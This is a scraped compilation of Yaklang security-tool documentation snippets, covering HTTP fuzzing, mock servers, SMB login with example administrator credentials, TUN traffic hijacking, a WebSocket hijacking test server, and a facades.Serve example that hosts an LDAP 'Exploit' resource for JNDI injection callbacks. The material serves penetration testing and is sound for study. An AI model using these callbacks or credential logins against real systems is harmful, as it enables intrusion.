```

--------------------------------

### Create Root Context with New

Source: https://yaklang.io/docs/api/context

Alias for context.Background to initialize an empty root context.

```yak
// VARS: 创建根上下文  
ctx = context.New()  
// assert: 根上下文没有错误  
assert ctx.Err() == nil, "background context should have no error"
```

--------------------------------

### 获取并描述 GET 参数

Source: https://yaklang.io/docs/yakexamples/fuzz_for_more

构建一个 HTTP 请求并遍历其 GET 参数，使用 desc 函数查看参数结构。

```go
req, err := fuzz.HTTPRequest(`GET /?test=1 HTTP/1.1  
Host: 127.0.0.1`)  
die(err)  
  
for _, param := range req.GetGetQueryParams() {  
    desc(param)  
}  
```

--------------------------------

### Create Mock HTTP Server

Source: https://yaklang.io/docs/api/tcp

Starts a local HTTP server that returns a fixed response for testing purposes.

```yak
// 启动一个固定响应的本地 HTTP 服务用于测试，此处仅作示意  
host, port = tcp.MockServe([]byte("HTTP/1.1 200 OK\r\nContent-Length: 2\r\n\r\nhi"))  
rsp = poc.Get(f"http://${host}:${port}/", poc.timeout(5))~  
println(string(rsp.RawPacket))  
```

--------------------------------

### Initialize and Populate WebsiteForest

Source: https://yaklang.io/docs/api/webforest

Creates a new website forest with a specified node capacity and demonstrates adding URLs and verifying the count.

```yak
forest = webforest.New(100)  
forest.AddNode("https://example.com/a")~
forest.AddNode("https://example.com/b/c")~
println(forest.CountUrls())   // OUT: 2  
assert forest.CountUrls() == 2, "forest should count the two added urls"
```

--------------------------------

### Get

Source: https://yaklang.io/docs/api/poc

Sends a GET request to the specified URL and returns the response and request structures.

```APIDOC
## Get

### Description
Sends a GET request to the target URL and returns the response structure, request structure, and any error encountered.

### Parameters
- **urlStr** (string) - Required - Target URL.
- **opts** (...PocConfigOption) - Optional - Additional configuration options.

### Returns
- **rspInst** (*lowhttp.LowhttpResponse) - The response structure.
- **reqInst** (*http.Request) - The request structure.
- **err** (error) - Error information if the request fails.

### Example
```
rsp, req = poc.Get("https://yaklang.com", poc.https(true))~
```
```

--------------------------------

### facades.Serve

Source: https://yaklang.io/docs/api/facades

Starts a facade server at the specified address and port, blocking the execution.

```APIDOC
## facades.Serve

### Description
Starts a facade server (supporting LDAP, RMI, HTTP) at the specified host and port and blocks the current thread.

### Parameters
- **host** (string) - Required - The host address to bind the server.
- **port** (int) - Required - The port to bind the server.
- **configs** (...FacadeServerConfig) - Optional - A list of configuration options for the server.
```

--------------------------------

### Multipart Boundary Header Example

Source: https://yaklang.io/docs/security/cap8-1-http

Example of a Content-Type header defining a multipart boundary.

```http
Content-Type: multipart/form-data; boundary=abcd
```

--------------------------------

### Connect to SMB with Credentials

Source: https://yaklang.io/docs/api/smb

Standard connection using username and password.

```yak
// 指定用户名密码连接 SMB，此处仅作示意  
session = smb.Connect("192.168.1.1:445", smb.username("administrator"), smb.password("123456"))~  
defer session.Close()
```

```yak
// 指定用户名密码连接 SMB，此处仅作示意  
session = smb.Connect("192.168.1.1:445", smb.username("administrator"), smb.password("123456"))~  
defer session.Close()
```

```yak
// 建立 SMB 会话，依赖目标服务，此处仅作示意  
session = smb.Connect("192.168.1.1:445", smb.username("administrator"), smb.password("123456"))~  
defer session.Close()
```

--------------------------------

### Create a WebSocket Test Server in Go

Source: https://yaklang.io/blog/yaklang-websocket-hijacking-tutorial

A standard Go implementation of a WebSocket server using the gorilla/websocket library for testing hijacking scenarios.

```go
package main  
  
import (  
        "fmt"  
        "net/http"  
        "os"  
        "time"  
  
        "github.com/gorilla/websocket"  
)  
  
func main() {  
        var upgrader = websocket.Upgrader{}  
  
        f, err := os.CreateTemp("", "test-*.html")  
        if err != nil {  
                panic(err)  
        }  
        f.Write([]byte(`<!DOCTYPE html>  
<html>  
<head>  
    <meta charset="UTF-8"/>  
    <title>Sample of websocket with golang</title>  
    <script src="http://apps.bdimg.com/libs/jquery/2.1.4/jquery.min.js"></script>  
    <script>  
        $(function() {  
            var ws = new WebSocket('ws://' + window.location.host + '/ws');  
            ws.onmessage = function(e) {  
                $('<li>').text(event.data).appendTo($ul);  
            ws.send('{"message":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"}');  
            };  
            var $ul = $('#msg-list');  
        });  
    </script>  
</head>  
<body>  
<ul id="msg-list"></ul>  
</body>  
</html>`))  
        index := http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {  
                http.ServeFile(w, r, f.Name())  
        })  
        http.Handle("/", index)  
        http.Handle("/index.html", index)  
        http.HandleFunc("/ws", func(w http.ResponseWriter, r *http.Request) {  
                // msg := &RecvMessage{}  
  
                ws, err := upgrader.Upgrade(w, r, nil)  
                if err != nil {  
                        panic(err)  
                        return  
                }  
                defer ws.Close()  
  
                go func() {  
                        for {  
                                _, msg, err := ws.ReadMessage()  
                                if err != nil {  
                                        panic(err)  
                                        return  
                                }  
                                fmt.Printf("server recv from client: %s\n", msg)  
                        }  
                }()  
  
                for {  
                        time.Sleep(time.Second)  
                        ws.WriteJSON(map[string]interface{}{
                                "message": fmt.Sprintf("Golang Websocket Message: %v", time.Now()),  
                        })  
                }  
        })  
  
        err = http.ListenAndServe(":8884", nil)  
        if err != nil {  
                panic(err)  
        }  
}  
```

--------------------------------

### Serve

Source: https://yaklang.io/docs/api/facades

Starts a facade server on the specified host and port, blocking the execution.

```APIDOC
## Serve

### Description
Starts a facade server that supports LDAP, RMI, and HTTP protocols on the specified host and port. This method blocks execution and is commonly used for JNDI injection callback exploitation.

### Signature
`Serve(host string, port int, configs ...FacadeServerConfig) error`

### Parameters
- **host** (string) - Required - The address to listen on.
- **port** (int) - Required - The port to listen on.
- **configs** (...FacadeServerConfig) - Optional - Configuration options such as facades.ldapResourceAddr or facades.httpResource.

### Returns
- **r1** (error) - Returns an error if the service fails to start.

### Example
```
err = facades.Serve("0.0.0.0", 1389, facades.ldapResourceAddr("Exploit", "http://127.0.0.1:8000/"))
```
```

--------------------------------

### NewVMFromDevice

Source: https://yaklang.io/docs/api/netstack

Initializes a network stack virtual machine based on a provided TUN device.

```APIDOC
## NewVMFromDevice(device lowtun.Device)

### Description
Creates a network stack virtual machine that hijacks TCP connections flowing through the TUN device.

### Parameters
- **device** (lowtun.Device) - The TUN device to use

### Returns
- **r1** (*NetstackVM) - Network stack VM object
- **r2** (error) - Error information if initialization fails
```

--------------------------------

### Delete GET Query Parameter

Source: https://yaklang.io/docs/api/poc

Removes a specific query parameter from the URL of a GET request.

```yak
poc.DeleteHTTPPacketQueryParam(`GET /get?a=b&c=d HTTP/1.1  
Content-Type: application/json  
Host: pie.dev  
  
`, "a") // 删除GET请求参数a
```
Tokens:
Raw